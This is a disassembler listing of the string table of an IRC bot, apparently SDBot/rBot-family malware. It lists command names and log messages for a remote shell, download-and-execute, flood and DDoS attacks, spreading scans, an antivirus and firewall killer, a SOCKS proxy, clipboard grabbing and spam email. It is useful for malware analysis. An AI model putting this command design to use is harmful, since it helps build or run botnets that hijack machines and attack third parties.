aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_4078FA+419Do
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_4078FA:loc_40BA7Bo
		align 10h
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_4078FA:loc_40BA74o
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_4078FA+4173o
		align 4
aRlogindFailedT	db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+4105o
		align 10h
aRlogindServerL	db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
					; DATA XREF: sub_4078FA+40ACo
aHttpdFailedT_1	db '[HTTPD]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+3FCCo
		align 10h
aTftpFailedTo_0	db '[TFTP]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+3E3Co
aTftpAlreadyRun	db '[TFTP]: Already running.',0 ; DATA XREF: sub_4078FA+3D1Fo
		align 10h
aScanFailedTo_1	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: sub_4078FA+3D01o
					; sub_4078FA+53CFo
		align 10h
aScanSPortScanS	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: sub_4078FA+3C39o
					; sub_4078FA+5614o
		db 'for %d minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_4078FA+3C0Eo
					; sub_4078FA+55E9o
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_4078FA+3C07o
					; sub_4078FA+55E2o
		align 4
aScanAlreadyDSc	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: sub_4078FA+3A2Ao
					; sub_4078FA+5297o
		align 4
aMainNickChange	db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_4078FA+39C6o
		align 4
aMainJoinedCh_0	db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_4078FA+39A9o
		align 4
aMainPartedChan	db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_4078FA+3988o
		align 4
aMainIrcRawS_	db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_4078FA+396Eo
		align 4
aThreadsFailedT	db '[THREADS]: Failed to kill thread: %s.',0
					; DATA XREF: sub_4078FA:loc_40B1EFo
		align 4
aThreadsKilledT	db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_4078FA+38EEo
		align 4
aThreadsNoActiv	db '[THREADS]: No active threads found.',0
					; DATA XREF: sub_4078FA:loc_40B1A3o
aThreadsStopped	db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_4078FA+389Fo
		align 4
aAll		db 'all',0              ; DATA XREF: sub_4078FA+3889o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+37FCo
					; sub_4078FA:loc_40C0C8o
		align 10h
aMainPrefixChan	db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_4078FA+377Bo
		align 4
aShellCouldnTOp	db '[SHELL]: Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_4078FA:loc_40B05Co
aShellFileOpene	db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_4078FA+3758o
		align 10h
aMainServerChan	db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_4078FA+3723o
		align 4
aDnsCouldnTReso	db '[DNS]: Couldn',27h,'t resolve hostname.',0 ; DATA XREF: sub_4078FA+36FBo
		align 4
aDnsLookupSS_	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_4078FA+36E5o
		align 4
aProcFailedTo_0	db '[PROC]: Failed to terminate process: %s',0
					; DATA XREF: sub_4078FA:loc_40AF90o
aProcProcessK_1	db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_4078FA+368Fo
		align 4
aProcProcessK_0	db '[PROC]: Process killed & deleted: %s',0 ; DATA XREF: sub_4078FA+3647o
		align 10h
aProcFailedToTe	db '[PROC]: Failed to terminate process ID: %s',0
					; DATA XREF: sub_4078FA:loc_40AEE2o
		align 4
aProcProcessKil	db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_4078FA+35E1o
		align 4
aFileDeletedS_0	db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4078FA+358Ao
		align 4
aFileListS	db '[FILE]: List: %s',0 ; DATA XREF: sub_4078FA+3565o
		align 4
aMircCommandSen	db '[mIRC]: Command sent.',0 ; DATA XREF: sub_4078FA:loc_40AE07o
		align 10h
aMircClientNotO	db '[mIRC]: Client not open.',0 ; DATA XREF: sub_4078FA+3506o
		align 4
aCmdCommandsS	db '[CMD]: Commands: %s',0 ; DATA XREF: sub_4078FA+34C6o
aCmdErrorSendin	db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_4078FA+34BEo
		align 4
aMainReadFileFa	db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_4078FA+3467o
		align 4
aMainReadFileCo	db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_4078FA+3451o
		align 4
aMainGethostS_	db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_4078FA+33CEo
		align 10h
aMainUnableToEx	db '[MAIN]: Unable to extract Gethost command.',0
					; DATA XREF: sub_4078FA:loc_40AC84o
		align 4
aMainGethostSCo	db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_4078FA+3374o
		align 10h
aMainAliasAdded	db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_4078FA+32BFo
		align 4
aMainPrivmsgSS_	db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_4078FA+327Co
		align 4
aMainActionSS_	db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_4078FA+3211o
aMainCycle_	db '[MAIN]: Cycle.',0   ; DATA XREF: sub_4078FA+3191o
		align 10h
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_4078FA+3155o
					; sub_4078FA+3978o
		align 4
aMainModeChange	db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_4078FA+3130o
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_4078FA+3122o
		align 10h
aCloneRawSS	db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_4078FA+30F6o
		align 4
aCloneModeSS	db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_4078FA+3087o
		align 10h
aModeS		db 'MODE %s',0          ; DATA XREF: sub_4078FA+302Fo
aCloneNickSS	db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_4078FA+2FFCo
		align 10h
aNickS		db 'NICK %s',0          ; DATA XREF: sub_4078FA+2FA3o
					; sub_4078FA+37C3o
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_4078FA+2F82o
		align 4
aS_4		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4078FA+2F4Eo
					; sub_4078FA+2FDBo ...
		align 4
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_4078FA+2F15o
aMainRepeatNotA	db '[MAIN]: Repeat not allowed in command line: %s',0
					; DATA XREF: sub_4078FA:loc_40A7FCo
		align 4
aMainRepeatS	db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_4078FA+2EC7o
		align 4
aMainDelay_	db '[MAIN]: Delay.',0   ; DATA XREF: sub_4078FA:loc_40A72Eo
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_4078FA+2DF0o
					; sub_4078FA+2EA1o ...
		align 4
aUpdateUpToDate	db '[UPDATE]: Up to Date',0 ; DATA XREF: sub_4078FA+2D7Co
		align 10h
aUpdateFailedTo	db '[UPDATE]: Failed to start download thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+2D54o
aUpdateDownload	db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_4078FA+2CF5o
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_4078FA+2C4Eo
		align 4
aExecCommandsS	db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_4078FA+2BCAo
		align 4
aExecCouldnTExe	db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_4078FA+2BB7o
		align 4
aFile		db '[FILE]:',0          ; DATA XREF: sub_4078FA:loc_40A407o
					; sub_4078FA:loc_40AE8Bo
aFileRenameSToS	db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_4078FA+2AF5o
		align 4
aIcmpInvalidFlo	db '[ICMP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_4078FA+2ABAo
		align 10h
aIcmpFailedToSt	db '[ICMP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+2A92o
		align 4
aIcmpFloodingSF	db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_4078FA+2A22o
		align 4
aClonesFailedTo	db '[CLONES]: Failed to start clone thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+2996o
		align 4
aClonesCreatedO	db '[CLONES]: Created on %s:%d, in channel %s.',0
					; DATA XREF: sub_4078FA+2933o
		align 10h
aDownloadFailed	db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+28A8o
		align 4
aDownloadDown_1	db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_4078FA+2849o
aRedirectFailed	db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+2706o
		align 4
aRedirectTcpRed	db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
					; DATA XREF: sub_4078FA+26ABo
aScanFailedTo_0	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+25EAo
					; sub_4078FA+3C98o ...
		align 10h
aScanPortScanSt	db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: sub_4078FA+2589o
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_4078FA+2503o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_4078FA+23E8o
		align 4
dword_425A58	dd 54434101h, 204E4F49h, 17325h					; sub_4078FA+31ECo
dword_425A64	dd 615F63h	aC_action	db 'c_action',0         ; DATA XREF: sub_4078FA+22C3o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_4078FA+22AFo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_4078FA+229Bo
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_4078FA+2287o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_4078FA+2273o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_4078FA+225Fo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_4078FA+224Bo
		align 4
aDl		db 'dl',0               ; DATA XREF: sub_4078FA+2237o
		align 4
aDownload	db 'download',0         ; DATA XREF: sub_4078FA+2223o
		align 4
aC:					; DATA XREF: sub_4078FA+220Fo
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_4078FA+21FBo
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_4078FA+21D5o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_4078FA+21C1o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_4078FA+21ADo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_4078FA+2199o
		align 10h
aE:					; DATA XREF: sub_4078FA+2185o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_4078FA+2171o
aUpdate		db 'update',0           ; DATA XREF: sub_4078FA+2149o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_4078FA+2135o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_4078FA+2121o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_4078FA+210Do
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_4078FA+20F9o
					; sub_4078FA+2E7Fo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_4078FA+20E5o
aC_part		db 'c_part',0           ; DATA XREF: sub_4078FA+20D1o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_4078FA+20BDo
aC_join		db 'c_join',0           ; DATA XREF: sub_4078FA+20A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_4078FA+2095o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_4078FA+2081o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_4078FA+206Do
aC_mode		db 'c_mode',0           ; DATA XREF: sub_4078FA+2059o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_4078FA+2045o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_4078FA+2031o
		align 4
aM:					; DATA XREF: sub_4078FA+201Do
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_4078FA+2009o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_4078FA+1FF5o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_4078FA+1FE1o
		align 10h
aA_1:					; DATA XREF: sub_4078FA+1FCDo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_4078FA+1FB9o
		align 4
aPm_0		db 'pm',0               ; DATA XREF: sub_4078FA+1FA5o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_4078FA+1F91o
aAa		db 'aa',0               ; DATA XREF: sub_4078FA+1F7Do
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_4078FA+1F69o
		align 4
aAvfwFailedToSt	db '[AVFW]: Failed to start AV/FW killer thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+1EF1o
		align 4
aAvfw		db '[AVFW]',0           ; DATA XREF: sub_4078FA+1E97o
					; sub_4078FA+1F49o
		align 4
aKillerThread	db 'Killer Thread',0    ; DATA XREF: sub_4078FA+1E92o
					; sub_4078FA+1F44o
		align 4
aAvfwAvFwBotKil	db '[AVFW]: AV/FW/BOT Killer active.',0 ; DATA XREF: sub_4078FA+1E7Co
		align 10h
aAvfwkiller	db 'avfwkiller',0       ; DATA XREF: sub_4078FA+1E51o
		align 4
aGh		db 'gh',0               ; DATA XREF: sub_4078FA+1E3Do
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_4078FA+1E29o
aNetCommandUnkn	db '[NET]: Command unknown.',0 ; DATA XREF: sub_4078FA:loc_40970Fo
aNetNoMessageSp	db '[NET]: No message specified.',0 ; DATA XREF: sub_4078FA:loc_409708o
		align 10h
aNetUserListFai	db '[NET]: User list failed.',0 ; DATA XREF: sub_4078FA:loc_4096BBo
		align 4
aNetUserListCom	db '[NET]: User list completed.',0 ; DATA XREF: sub_4078FA+1DB7o
aNetShareListFa	db '[NET]: Share list failed.',0 ; DATA XREF: sub_4078FA:loc_409619o
		align 4
aNetShareListCo	db '[NET]: Share list completed.',0 ; DATA XREF: sub_4078FA+1D15o
		align 4
aShare		db 'share',0            ; DATA XREF: sub_4078FA+1CA9o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_4078FA+1C75o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_4078FA+1C5Eo
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_4078FA+1C47o
					; sub_4078FA+1F2Bo
		align 4
aNetServiceLi_0	db '[NET]: Service list failed.',0 ; DATA XREF: sub_4078FA:loc_409533o
aNetServiceList	db '[NET]: Service list completed.',0 ; DATA XREF: sub_4078FA+1C2Fo
		align 4
aStart		db 'start',0            ; DATA XREF: sub_4078FA+1BDCo
					; sub_4078FA+1E66o
		align 4
aNetFailedToLoa	db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
					; DATA XREF: sub_4078FA+1BA2o
aNet		db 'net',0              ; DATA XREF: sub_4078FA+1B80o
aRf		db 'rf',0               ; DATA XREF: sub_4078FA+1B6Co
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_4078FA+1B58o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_4078FA+1B44o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_4078FA+1B30o
aMirc		db 'mirc',0             ; DATA XREF: sub_4078FA+1B1Co
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_4078FA+1B08o
aLi		db 'li',0               ; DATA XREF: sub_4078FA+1AF4o
		align 10h
aList_0		db 'list',0             ; DATA XREF: sub_4078FA+1AE0o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_4078FA+1ACCo
aDelete		db 'delete',0           ; DATA XREF: sub_4078FA+1AB8o
					; sub_4078FA+1C8Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_4078FA+1AA4o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_4078FA+1A90o
		align 10h
aKdp		db 'kdp',0              ; DATA XREF: sub_4078FA+1A7Co
aKilldelproc	db 'killdelproc',0      ; DATA XREF: sub_4078FA+1A68o
aKp		db 'kp',0               ; DATA XREF: sub_4078FA+1A54o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_4078FA+1A40o
		align 10h
aDn		db 'dn',0               ; DATA XREF: sub_4078FA+1A2Co
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_4078FA+1A18o
aSe		db 'se',0               ; DATA XREF: sub_4078FA+1A04o
		align 4
aO:					; DATA XREF: sub_4078FA+19DCo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_4078FA+19C8o
					; sub_4078FA+373Fo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_4078FA+19B4o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_4078FA+19A0o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_4078FA+198Co
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_4078FA+1978o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_4078FA+1964o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_4078FA+1950o
		align 4
aK:					; DATA XREF: sub_4078FA+193Co
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_4078FA+1928o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_4078FA+1900o
aPt		db 'pt',0               ; DATA XREF: sub_4078FA+18ECo
		align 4
aPart_0		db 'part',0             ; DATA XREF: sub_4078FA+18D8o
		align 4
aJ:					; DATA XREF: sub_4078FA+18C4o
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_4078FA+18B0o
		align 10h
aN:					; DATA XREF: sub_4078FA+189Co
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_4078FA+1888o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_4078FA+184Eo
aTftp		db 'tftp',0             ; DATA XREF: sub_4078FA+183Ao
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_4078FA+1826o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_4078FA+1812o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_4078FA+17FEo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_4078FA+17EAo
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_4078FA+17D6o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_4078FA+17C2o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_4078FA+17AEo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_4078FA+179Ao
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_4078FA+1786o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_4078FA+1772o
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_4078FA+175Eo
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_4078FA+174Ao
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_4078FA+1736o
aEmailMessageSe	db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_4078FA+16ECo
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_4078FA+166Bo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_4078FA+15CBo
		unicode	0, <_>,0
aEmail		db 'email',0            ; DATA XREF: sub_4078FA+1560o
		align 10h
aTcp		db 'tcp',0              ; DATA XREF: sub_4078FA+154Co
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_4078FA+1538o
		align 10h
aP:					; DATA XREF: sub_4078FA+1524o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_4078FA+1510o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_4078FA+14FCo
		align 4
aU:					; DATA XREF: sub_4078FA+14E8o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_4078FA+14D4o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_4078FA+14C0o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_4078FA+14ACo
aAdvscan	db 'advscan',0          ; DATA XREF: sub_4078FA+1498o
aMainLoginListC	db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_4078FA+1474o
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_4078FA+1440o
					; sub_410F55+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_4078FA+1433o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_4078FA+1410o
		align 4
aWho		db 'who',0              ; DATA XREF: sub_4078FA+13F7o
aCmd_0		db '[CMD]',0            ; DATA XREF: sub_4078FA+13E9o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_4078FA+13E4o
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_4078FA+13CFo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_4078FA+13BBo
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_4078FA+13A7o
aDll		db 'dll',0              ; DATA XREF: sub_4078FA+1393o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_4078FA+137Fo
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_4078FA+136Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_4078FA+1357o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_4078FA+1343o
					; sub_4078FA+215Do
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_4078FA+132Fo
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_4078FA+131Bo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_4078FA+1307o
		align 4
aErradicate	db 'erradicate',0       ; DATA XREF: sub_4078FA+12F3o
		align 10h
aDestroy	db 'destroy',0          ; DATA XREF: sub_4078FA+12DFo
aSi		db 'si',0               ; DATA XREF: sub_4078FA+12CBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_4078FA+12B7o
aNi		db 'ni',0               ; DATA XREF: sub_4078FA+12A3o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_4078FA+128Fo
aClg		db 'clg',0              ; DATA XREF: sub_4078FA+127Bo
aClearlog	db 'clearlog',0         ; DATA XREF: sub_4078FA+1267o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_4078FA+1253o
		align 4
aLog_0		db 'log',0              ; DATA XREF: sub_4078FA+123Fo
					; sub_4197D8:loc_419863o ...
aAl		db 'al',0               ; DATA XREF: sub_4078FA+122Bo
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_4078FA+1217o
aT:					; DATA XREF: sub_4078FA+1203o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_4078FA+11EFo
aMainFailedToRe	db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_4078FA+11B7o
		align 4
aMainRebootingS	db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_4078FA+11B0o
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_4078FA+119Do
		align 4
aI_0:					; DATA XREF: sub_4078FA+1189o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_4078FA+1175o
		align 10h
aS_3:					; DATA XREF: sub_4078FA+1161o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_4078FA+114Do
		align 4
aQ:					; DATA XREF: sub_4078FA+1139o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_4078FA+1125o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_4078FA+1111o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_4078FA+10FDo
		align 4
aR:					; DATA XREF: sub_4078FA+10E9o
					; sub_4078FA+1914o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_4078FA+10D5o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_4078FA+10C1o
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_4078FA+10ADo
		align 4
aScan_0		db '[SCAN]',0           ; DATA XREF: sub_4078FA+109Fo
					; sub_4078FA+5455o
		align 4
aScan_1		db 'Scan',0             ; DATA XREF: sub_4078FA+109Ao
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_4078FA+1085o
		align 4
aSecure_1	db '[SECURE]',0         ; DATA XREF: sub_4078FA+1077o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_4078FA+1072o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_4078FA+105Do
		align 4
aClones		db '[CLONES]',0         ; DATA XREF: sub_4078FA+104Fo
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_4078FA+104Ao
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_4078FA+1035o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_4078FA+1021o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_4078FA+100Do
		align 4
aTftp_0		db '[TFTP]',0           ; DATA XREF: sub_4078FA+FFFo
		align 4
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_4078FA+FE5o
		align 10h
aTcpFlood	db 'TCP flood',0        ; DATA XREF: sub_4078FA+FDAo
		align 4
aTcpstop	db 'tcpstop',0          ; DATA XREF: sub_4078FA+FC5o
aIcmp_0		db '[ICMP]',0           ; DATA XREF: sub_4078FA:loc_4088B1o
		align 4
aIcmpFlood	db 'ICMP flood',0       ; DATA XREF: sub_4078FA+FB2o
		align 4
aIcmpstop	db 'icmpstop',0         ; DATA XREF: sub_4078FA+F9Do
		align 4
aPing_1		db '[PING]',0           ; DATA XREF: sub_4078FA+F8Fo
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_4078FA+F8Ao
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_4078FA+F75o
		align 4
aUpd		db '[UPD]',0            ; DATA XREF: sub_4078FA+F67o
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_4078FA+F62o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_4078FA+F4Do
aSyn		db '[SYN]',0            ; DATA XREF: sub_4078FA+F3Fo
		align 4
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_4078FA+F3Ao
		align 4
aSynstop	db 'synstop',0          ; DATA XREF: sub_4078FA+F25o
aDdos		db '[DDoS]',0           ; DATA XREF: sub_4078FA+F17o
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_4078FA+F12o
		align 10h
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_4078FA+EFDo
		align 4
aRedirect_0	db '[REDIRECT]',0       ; DATA XREF: sub_4078FA+EEFo
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_4078FA+EEAo
		align 4
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_4078FA+ED5o
		align 4
aLog		db '[LOG]',0            ; DATA XREF: sub_4078FA+EC7o
		align 10h
aLogList	db 'Log list',0         ; DATA XREF: sub_4078FA+EC2o
		align 4
aLogstop	db 'logstop',0          ; DATA XREF: sub_4078FA+EADo
aHttpd		db '[HTTPD]',0          ; DATA XREF: sub_4078FA+E9Fo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_4078FA+E85o
		align 4
aRlogind	db '[RLOGIND]',0        ; DATA XREF: sub_4078FA+E77o
		align 4
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_4078FA+E5Do
		align 10h
aSocks4_0	db '[SOCKS4]',0         ; DATA XREF: sub_4078FA+E4Fo
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_4078FA+E4Ao
					; sub_4078FA+E72o ...
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_4078FA+E35o
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_4078FA+E21o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_4078FA+E0Do
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_4078FA+DF9o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_4078FA+DE5o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_4078FA+DD1o
					; sub_4078FA+49A9o
